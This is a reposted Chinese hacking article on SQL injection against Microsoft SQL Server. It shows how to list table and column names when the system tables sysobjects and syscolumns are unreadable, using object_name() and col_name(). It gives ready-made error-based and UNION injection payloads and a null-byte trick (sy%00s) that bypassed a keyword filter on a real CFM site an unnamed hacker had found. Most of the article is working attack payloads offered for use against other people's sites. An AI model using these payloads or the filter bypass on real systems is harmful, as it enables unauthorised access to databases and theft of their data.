当sysobjects表无select权限时暴表[网络技术]
本文“当sysobjects表无select权限时暴表[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
主要就两点,sysobjects表与syscolumns表都无select权限时,得到表名与列名.从前BLOG里写过, 要不是某黑客发来一我等小菜从没接触过的CFM程序的一个注入点让办理获得表名的难题,我都要忘了,趁便再重记一次.
sysobjects表没有权限.若何暴表?全部的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名.但是,大家有没注意过sql server供应的object_name函数呢?它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值.而 object_name会返回指定ID所对应的数据库对象名,关于表来说自然就是表名了.
好了,目前只要得到全部的用户表的ID便可以得到表名了, 表的ID在很多地方城市存储,比方syscolumns表,
我们只要从syscolumns表里面获得表的ID,再操纵object_name便可以得到表名了.
可以操纵下面的语句得到表名,前提条件是syscolumns表有select 权限:
显错:
select 1 where 1=(select top 1 * from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns))
union:
select '1','2','3','4' union select top 1 1,3,[name],4 from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns)
上面的语句会将系统表也查出来.通过不断地变top 0便可以得到全部的表名了.当syscolumns表无权限的时刻,可以借助别的的系统表,但是这样很有大概不能得到全部表的名字,看运气了..只要别的系统表里面呈现了表的ID,便可以通过object_name函数来得到表名,下面从sysprotects这个系统表中获得ID来得到表名:
select object_name(id) from sysprotects
再谈syscolumns表无select权限时获得列名的办法,操纵col_name函数,先操纵上面的办法得到表的id,再操纵:
select col_name(tableid,colindex)
便可以了.
具体情形具体解析了,朋友发来的这个CFM注点有个弊端,只要参数里面呈现sys,就会自动跳回主页,不知道是什么防火墙还是程序内置的安全防护功效,试了会终究绕过去了,将sys分拆成sy%00s便可以.至于%00为什么没有被截断,同时为什么没有被sql server当作是脱离符,,这我就不知道了,不是本菜鸟能研究出来的.
以上是“当sysobjects表无select权限时暴表[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |